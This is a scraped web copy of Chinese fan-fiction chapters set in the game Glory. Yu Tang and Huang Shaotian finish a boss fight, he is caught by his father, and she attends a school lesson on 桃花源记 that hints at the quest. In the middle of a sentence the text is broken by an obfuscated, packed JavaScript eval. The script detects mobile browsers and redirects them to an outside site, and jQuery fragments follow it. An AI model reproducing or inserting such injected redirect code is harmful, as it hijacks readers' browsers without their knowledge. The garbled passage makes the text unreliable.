23.
游鱼玉镯的第二个技能是“甩尾”。
这技能名听起来跟神奇宝贝似的，但却完全是为了现在这个状况而设计的。
它只能在水底发动，蓄力后往正上方爆出一个向上喷涌的水柱，持续时间三秒，水柱高度是根据施法距离和蓄力时间决定的。
语棠让黄少天游到自己的正上方，然后发动了这个技能。
蓄力到极限后，水柱轰然喷出，推动着夜雨声烦从水底一跃而出，高高飞向天际。
语棠在水底看不清上面的情况，有些担心能否成功。
然后，耳机里传来黄少天无比欢畅的一声“呀呼！”，她就知道应该是成功了。
夜雨声烦被那道水柱推动着，一直飞到了魔枭的头顶。他立刻展开羽翼，飞到魔枭的正上方，拔剑刺去——
“看我的银光落刃！连突刺拔刀斩啊啊啊怎么要掉下去了！上挑上挑！哈哈！我又上来了！三段斩升龙斩！杀杀杀杀！”
听他报技能简直比看直播还有画面感，完全能想象到现在上面的战况是怎样的。
语棠向上浮出水面，看到夜雨声烦正挥着双翼，在空中围着魔枭疯狂输出。乍一看还真有点像个战斗天使。
她十分尽职尽责地举起十字架，把各种增益buff给他补全，减益buff套到boss身上，然后挂上一个持续加血的hot，就开始划水走神了。
真是怪巧的，她拿到的游鱼道具正好也是一个辅助性的道具，那如果输出职业拿到了游鱼道具，奶妈职业拿到了飞鸟道具，这个任务该怎么才能做得下去呢？
总不能拿十字架一点点抡死那个魔枭吧？
不过这也不是她需要操心的事。
在她走神的功夫里，云层中的黄少天已经把魔枭打红了血，在魔枭悲鸣、试图发动最后一次冲击的瞬间，语棠的神圣之火降落到了boss的头上，打断了它的大招读条。
“漂亮啊！好打断！原来你在参战啊，我还以为你一直在下面走神发呆呢！”
黄少天的话让语棠心虚了一下。
这小子，第六感能不能不要这么准啊？
这时，黄少天准备给魔枭最后一击了。
他举剑齐眉，酝酿着伤害最高的招数准备往魔枭的弱点攻去，但是剑出的瞬间，他却突然从空中坠落了。
“哎哎哎？干什么？我没有松开空格啊为什么？？？我的翅膀呢！！！”黄少天哀嚎着扑通一声摔进了水里。
语棠这边则发现自己身上的避水buff消失了，游动的速度也变得缓慢起来。
她操作角色举起十字架看了看，手腕上的那支水色玉镯果然消失了。
“你还能飞吗？”语棠问。
黄少天那边传来一阵噼里啪啦的键盘敲击声，应该是把能想的办法试了个遍：“飞不了了，道具好像消失了！搞什么啊，就差最后一点血了。”
“我也是。这应该算是锁血吧？”
“应该是，啊，操作界面怎么卡住了，哦哦，是要进剧情了！”
这一次是副本剧情，他们的操作界面虽然被禁用，但已经开启的语音还是正常连接着的。语棠不得不一边听着黄少天的叽叽喳喳，一边观看剧情。
漂浮在水中的昼继青灯和夜雨声烦忽然像获得了某种力量，从水中升起，如浮萍般站在了水面上。然后双双抬头，看到了半空中奄奄一息的魔枭。
它艰难地拍动着翅膀，在空中摇摇晃晃的，同时身上的火焰开始消退、熄灭，露出了下面雪白的羽毛，飞羽的边缘则慢慢渐变成橙红色。
——好熟悉的羽毛颜色。
语棠心里刚刚闪过这个念头，黄少天就惊呼出声：“这不是跟我的飞行道具一样颜色的羽毛吗！喂喂，这个魔枭是怎么回事？之前给我们的道具难道有鬼？”
语棠还没回话，魔枭身边忽然缠绕起一圈淡蓝的水线，如同守护般将它团团围住，紧接着，一条银色游鱼的灵魂从中缓缓浮现。
游鱼的灵魂没有说话，只是守护在魔枭身前，用悲伤的眼神望着他们。
“啊。”语棠看懂了。
“我靠。”黄少天也懂了，并且脱口而出，“这不是魔枭啊，这就是飞鸟吧！传说里的飞鸟与游鱼就是他们！怎么回事啊！”
这时，天空中传来两个声音，一个高亢，一个低沉，是来自于飞鸟与游鱼的请求——“到桃源去，到桃源去……桃源！”
这句话结束后，副本里的背景音乐声开始变得舒缓，这个音乐声他们很熟悉，在荣耀里，每当副本的最后一个BOSS被打死，背景音乐就会变成这样，标志的副本战斗的结束。
“没了？没剧情了吗？”黄少天无奈地叹了口气，“怎么打了这么久的BOSS又绕回最开始了啊？又是桃源？我们之前不就是在桃源拿到的任务信息吗？现在又要我们去桃源是什么意思？”
“唔……”语棠也很困惑，一时捋不清头绪。
“真倒霉，我们不会是做错任务了吧？现在道具也没有了，啊啊，那个翅膀我很喜欢啊！早知道多玩一阵子再来了……话说我们的任务会不会已经失败了？”
“应该不会，飞鸟与游鱼还在给我们任务提示呢。”
“那桃源到底在——糟了。”黄少天忽然低声惊呼，紧接着是耳机坠地的啪嗒声，凌乱的脚步声，片刻后，那头传来黄少天一声凄厉的哀嚎，以及一个成年男人的骂声。
是用粤语骂的，语棠听不懂，但凭感觉也能猜到，他应该是被爸爸揍了。
“几点了！你看看现在几点了！”这句话语棠倒是听懂了，之后的内容听在她耳里就像打了马赛克一样，“你个xxx，今时今日xxxxx，xxx读书xxxx……”
其间，黄少天争分夺秒地狡辩了几句，然后被打得更凶了。
语棠默默在电脑前听了全程。
并且录了音。
24.
等到黄少天那边没了声音，夜雨声烦又在副本里呆站了一会儿才突然下线，应该是电脑被拔了电源。
语棠也是做梦都没想到自己能亲历剑圣儿时沉迷网游被爹揍的场景，感觉怪有趣的。
然后她也退出游戏，关闭电脑，准备去厨房喝口水再睡觉。结果一开房门，就看到爸爸妈妈整齐地坐在客厅沙发上盯着她。
“！！！”差点忘了自己现在也是沉迷网游的小孩子。
她看了眼客厅墙上的时钟，凌晨两点半。
一个孩子熬夜打游戏到这个点，确实是很过分的事了。
她站在原地，忐忑地等待父母发火。
但她的父母没有发火，妈妈甚至非常温和地询问她：“今天这么晚还没睡，要不明天跟老师请假吧，在家休息一天，补补觉。”
“？？？”我小时候是这么被父母宠着长大的吗？
她赶紧摇摇头说：“我没事，我马上睡，不会影响明天上课的。”
父母交换了一个眼神，然后笑着说“好”，等她喝完水要回房时，还是忍不住问她：“今天是在玩什么游戏呀？这么有趣，连时间都忘记了。”
语棠很自责地说了声对不起，下次一定不会了。
25.
刚刚重生回来的语棠，差点忘了明天星期一，她是要上学的。
主要是当职业选手后，休息日就总在周一或周二，她都习惯了。
第二天被七点的闹钟吵醒时，她的太阳穴还是有点突突的痛。
啊……小学是需要起这么早的吗……早知道昨天不说那种大话了。
她晕乎乎地起床洗漱，吃早饭，背书包，坐爸爸的车去上学。进校门前还被值日生斥责没有戴红领巾，问她是哪个班的，要扣分。
哪个班的……她自己都不记得自己是哪个班的了。说了他们会信吗？
显然是不信的。
不过值日生也是很有经验的，他高傲地抬抬下巴说：“把你的作业本拿出来，上面写了班级。”
语棠用“你真有智慧！”的崇拜眼神看了她一眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418132|184725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，把那原本想看她紧张出丑的值日生弄得挺莫名其妙的。
六年级2班，她通过作业本上的信息成功找到了自己的班级。
没想到那个年代的小学查红领巾查得这么严。她才刚踏进教室，就被一个貌似是班长的同学严厉地批评，说她今天没戴红领巾，害班级被扣分了，要去老师办公室接受惩罚。
语棠很谦虚地问：“老师办公室在哪里？”
对方一脸狐疑地打量了她一番，嘟哝一句“难道是病傻了？”，然后抬手指向走廊尽头的一间办公室。
语棠知道自己的病秧子形象在班上一直都很有名，同学们虽然偶尔会用怜悯的眼神看她，但都还挺善良，没有人因此欺负过她。
在前往班主任办公室的路上，她好不容易回忆起了自己小学班主任的姓氏。
“报告，我找马老师。”
这个时间的老师都还在办公室吃早餐，给了她一个“进来”的眼神。
她还以为自己会找不到马老师是谁，但在看到那个年轻女老师面容的瞬间，她的记忆立刻就复苏了。
马老师得知她今天没戴红领巾的事，和她的父母一样，对她展现出了极大的包容，不仅没有责问批评，甚至一直在关心她的身体情况。
“如果不舒服一定要跟老师说，随时可以回家去休息的。”
“……好的。”语棠现在觉得，在这样特殊优待的环境中长大，自己的性格没有长歪真是奇迹。
离开之前，马老师又拜托她清理一下办公桌上的一沓作业本，说是要按学号顺序摆放。她也很乖巧地应了，开始按顺序摆放课本。
在这个时间里，她听到了几个老师的吐槽。
“群里发的新任务看到了吗？从这周起，早读要读课外经典文学作品，我们六年级要教的是《桃花源记》，主任每天巡查。”
“有病吧，五年级的时候要我们给学生讲《木兰诗》就很癫了，现在六年级就要学《桃花源记》，那让孩子们初中学什么？《离骚》啊？”
“拔苗助长，面子工程，浪费孩子们的时间。”
老师们三言两语的吐槽结束，语棠倒是听着觉得有些不真实。
这也太巧了。
等到早读开始，马老师果然打开了一页《桃花源记》的PPT，开始给他们讲解题意。
“今天我们开始学习《桃花源记》，这是东晋文学家陶渊明的代表作，讲一个渔夫误入与世隔绝的村落‘桃花源’的故事。这里的源有源头的意思，指溪水的发源地。现在老师读一句，你们读一句。晋太元中，武陵人捕鱼为业……”
语棠跟着晕乎乎地读，脑海中却反复回响着老师的哪一句“这里的源有源头的意思，指溪水的发源地”。
溪水的发源地……
这句话困扰了她好几天。
这篇《桃花源记》也占用了他们整整一周的早读时间，才好不容易讲完。
马老师一开始还讲得不情不愿、敷衍了事，但讲着讲着，大概也是讲出了一些感情，在周五的早读时间，她给学生们讲完了《桃花源记》的全部内容，又忍不住问了个拔高的问题——
“请同学们再次默读文章，思考一下，如果你是武陵人，你会用什么方法去寻找桃花源的所在呢？提示一下，仔细回忆老师第一天讲的文章题目的意思哦！”
这个问题不是六年级的学生能答得明白的，大家天马行空、乱说一气，最后马老师笑眯眯地在黑板上写上了一句诗。
——桃花尽日随流水，洞在清溪何处边。
写完，她笑得一脸高深莫测地看向学生：“结合这句诗的含义，有人猜到答案了吗？”
语棠顿时心中一亮，激动得差点跳起来！
“溪水里有桃花花瓣！桃花源在溪水的上游！”她脱口而出。
马老师露出惊喜的表情，大大夸赞了一番她头脑灵活反应快，然后又冷冷提醒：“下次发言记得举手。”
语棠突然觉得小学老师都是PUA的一把好手。